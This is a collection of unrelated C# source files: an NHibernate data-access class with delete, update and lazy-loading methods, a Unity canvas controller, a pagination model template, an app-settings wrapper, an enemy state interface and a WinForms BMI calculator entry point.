public virtual void Delete(string hqlString)
{
Delete(hqlString, (object[])null, (IType[])null);
}
public virtual void Delete(string hqlString, object value, IType type)
{
Delete(hqlString, new object[] { value }, new IType[] { type });
}
//public virtual void Delete(string hqlString, object value)
//{
// Delete(hqlString, new object[] { value }, (IType[])null);
//}
//public virtual void Delete(string hqlString, object[] values)
//{
// Delete(hqlString, values, (IType[])null);
//}
public virtual void Delete(string hqlString, object[] values, IType[] types)
{
if (hqlString == null || hqlString.Length == 0) throw new ArgumentNullException("hqlString");
if (values != null && types != null && types.Length != values.Length) throw new ArgumentException("Length of values array must match length of types array");
using (ISession session = GetSession())
{
try
{
if (values == null)
{
session.Delete(hqlString);
}
//else if (types == null)
//{
// session.Delete(hqlString, values);
//}
else
{
session.Delete(hqlString, values, types);
}
//session.Flush();
}
catch (Exception ex)
{
throw new DataException("Could not perform Delete for " + hqlString, ex);
}
}
}
public virtual int ExecuteUpdateWithCustomQuery(string queryString)
{
return ExecuteUpdateWithCustomQuery(queryString, (object[])null, (IType[])null);
}
public virtual int ExecuteUpdateWithCustomQuery(string queryString, object value)
{
return ExecuteUpdateWithCustomQuery(queryString, new object[] { value }, (IType[])null);
}
public virtual int ExecuteUpdateWithCustomQuery(string queryString, object value, IType type)
{
return ExecuteUpdateWithCustomQuery(queryString, new object[] { value }, new IType[] { type });
}
public virtual int ExecuteUpdateWithCustomQuery(string queryString, object[] values)
{
return ExecuteUpdateWithCustomQuery(queryString, values, (IType[])null);
}
public virtual int ExecuteUpdateWithCustomQuery(string queryString, object[] values, IType[] types)
{
if (queryString == null || queryString.Length == 0) throw new ArgumentNullException("queryString");
if (values != null && types != null && types.Length != values.Length) throw new ArgumentException("Length of values array must match length of types array");
using (ISession session = GetSession())
{
try
{
IQuery query = session.CreateQuery(queryString);
if (values != null)
{
for (int i = 0; i < values.Length; i++)
{
if (types != null && types[i] != null)
{
query.SetParameter(i, values[i], types[i]);
}
else
{
query.SetParameter(i, values[i]);
}
}
}
int resultCount = query.ExecuteUpdate();
return resultCount;
}
catch (Exception ex)
{
throw new DataException("Could not perform Find for custom query : " + queryString, ex);
}
}
}
public virtual int ExecuteUpdateWithNativeQuery(string queryString)
{
return ExecuteUpdateWithNativeQuery(queryString, (object[])null, (IType[])null);
}
public virtual int ExecuteUpdateWithNativeQuery(string queryString, object value)
{
return ExecuteUpdateWithNativeQuery(queryString, new object[] { value }, (IType[])null);
}
public virtual int ExecuteUpdateWithNativeQuery(string queryString, object value, IType type)
{
return ExecuteUpdateWithNativeQuery(queryString, new object[] { value }, new IType[] { type });
}
public virtual int ExecuteUpdateWithNativeQuery(string queryString, object[] values)
{
return ExecuteUpdateWithNativeQuery(queryString, values, (IType[])null);
}
public virtual int ExecuteUpdateWithNativeQuery(string queryString, object[] values, IType[] types)
{
if (queryString == null || queryString.Length == 0) throw new ArgumentNullException("queryString");
if (values != null && types != null && types.Length != values.Length) throw new ArgumentException("Length of values array must match length of types array");
using (ISession session = GetSession())
{
try
{
IQuery query = session.CreateSQLQuery(queryString);
if (values != null)
{
for (int i = 0; i < values.Length; i++)
{
if (types != null && types[i] != null)
{
query.SetParameter(i, values[i], types[i]);
}
else
{
query.SetParameter(i, values[i]);
}
}
}
int resultCount = query.ExecuteUpdate();
return resultCount;
}
catch (Exception ex)
{
throw new DataException("Could not perform Find for custom query : " + queryString, ex);
}
}
}
public void InitializeLazyProperties(object instance)
{
if (instance == null) throw new ArgumentNullException("instance");
using (ISession session = GetSession())
{
foreach (object val in ReflectionUtility.GetPropertiesDictionary(instance).Values)
{
if (val is INHibernateProxy || val is IPersistentCollection)
{
if (!NHibernateUtil.IsInitialized(val))
{
session.Lock(instance, LockMode.None);
NHibernateUtil.Initialize(val);
}
}
}
}
}
public void InitializeLazyProperty(object instance, string propertyName)
{
if (instance == null) throw new ArgumentNullException("instance");
if (propertyName == null || propertyName.Length == 0) throw new ArgumentNullException("collectionPropertyName");
IDictionary<string, object> properties = ReflectionUtility.GetPropertiesDictionary(instance);
if (!properties.ContainsKey(propertyName))
throw new ArgumentOutOfRangeException("collectionPropertyName", "Property "
+ propertyName + " doest not exist for type "
+ instance.GetType().ToString() + ".");
using (ISession session = GetSession())
{
object val = properties[propertyName];
if (val is INHibernateProxy || val is IPersistentCollection)
{
if (!NHibernateUtil.IsInitialized(val))
{
session.Lock(instance, LockMode.None);
NHibernateUtil.Initialize(val);
}
}
}
}
public void FlushSession()
{
using (ISession session = GetSession())
{
session.Flush();
}
}
public void CleanSession()
{
using (ISession session = GetSession())
{
session.Clear();
}
}
public void GetTableProperty(object entity, out string tableName, out Dictionary<string, string> propertyAndColumnNames)
{
using (ISession session = GetSession())
{
NHibernateHelper.GetTableProperty(session, entity, out tableName, out propertyAndColumnNames);
}
}
}
}
|
using UnityEngine;
using System.Collections;
public class PausedCanvasController : MonoBehaviour {
public Canvas pausedCanvas;
void Awake() {
if (pausedCanvas != null &&
!pausedCanvas.isActiveAndEnabled) {
pausedCanvas.gameObject.SetActive (true);
}
}
// Use this for initialization
void Start () {
}
// Update is called once per frame
void Update () {
}
}
|
//-----------------------------------------------------------------------
// <copyright file="ApiPaginationNavigationModel.cs" company="<%= company %>">
// <%= copyrigthDate %>. All rights reserved.
// </copyright>
// <author>Adventiel</author>
//-----------------------------------------------------------------------
namespace <%= webApiProjectName %>.Models
{
/// <summary>
/// lasse représentant un modèle de métadonnnée pour naviguer dans la gestion de la pagination
/// </summary>
public class ApiPaginationNavigationModel
{
/// <summary>
/// url de la première page
/// </summary>
public string Premier { get; set; }
/// <summary>
/// url de la page précédente
/// </summary>
public string Precedent { get; set; }
/// <summary>
/// url de la page suivante
/// </summary>
public string Suivant { get; set; }
/// <summary>
/// url de la dernière page
/// </summary>
public string Dernier { get; set; }
}
}
|
using System;
using System.Collections.Specialized;
using System.Configuration;
using System.Linq;
namespace StarBastardCore.Website.Code
{
public interface IAppSettings
{
string this[string key] { get; set; }
T Get<T>(string key, Func<T> defaultValue = null);
}
public class AppSettingsWrapper : IAppSettings
{
private readonly NameValueCollection _settings;
public string this[string key]
{
get { return _settings[key]; }
set { _settings[key] = value; }
}
public AppSettingsWrapper()
{
_settings = ConfigurationManager.AppSettings;
}
public AppSettingsWrapper(NameValueCollection settings)
{
_settings = settings;
}
public T Get<T>(string key, Func<T> defaultValue = null)
{
if (string.IsNullOrEmpty(key))
{
throw new ArgumentNullException("key");
}
defaultValue = defaultValue ?? (() => default(T));
if (!_settings.AllKeys.Contains(key))
{
return defaultValue();
}
return (T)Convert.ChangeType(this[key], typeof(T));
}
}
} |
using System.Collections;
using System.Collections.Generic;
using System;
using UnityEngine;
public interface IState
{
BaseEnemy Parent { get;}
void Enter();
void Execute();
void Leave();
void SetParent(BaseEnemy obj);
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
/*
* Name: Abubakir Myrzaly
* Date: 8/15/2017
* Description: BMI Calculator
* Version 0.2 - Stated SplashFormFirst
*/
namespace Assignment_5_1_
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new SplashForm());
}
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.